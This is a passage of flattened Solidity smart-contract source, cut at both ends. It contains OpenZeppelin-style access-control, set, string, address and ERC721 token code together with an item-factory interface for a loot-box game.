{RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } interface IItemFactory { // function rarityDecimal() external view returns (uint256); function totalSupply(uint256 boxType) external view returns (uint256); function addItem( uint256 boxType, uint256 itemId, uint256 rarity, uint256 itemInitialLevel, uint256 itemInitialExperience ) external; function getRandomItem(uint256 randomness, uint256 boxType) external view returns (uint256 itemId); function getItemInitialLevel(uint256[] memory boxTypes, uint256[] memory itemIds) external view returns (uint256); function getItemInitialExperience(uint256[] memory boxTypes, uint256[] memory itemIds) external view returns (uint256); event ItemAdded( uint256 indexed boxType, uint256 indexed itemId, uint256 rarity, uint256 itemInitialLevel, uint256 itemInitialExperience ); event ItemUpdated( uint256 indexed boxType, uint256 indexed itemId, uint256 rarity, uint256 itemInitialLevel, uint256 itemInitialExperience ); } contract ItemFactoryManager { IItemFactory public itemFactory; event ItemFactoryUpdated(address itemFactory_); constructor(address itemFactory_) { _updateItemFactory(itemFactory_); } function _updateItemFactory(address itemFactory_) internal { itemFactory = IItemFactory(itemFactory_); emit ItemFactoryUpdated(itemFactory_); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that 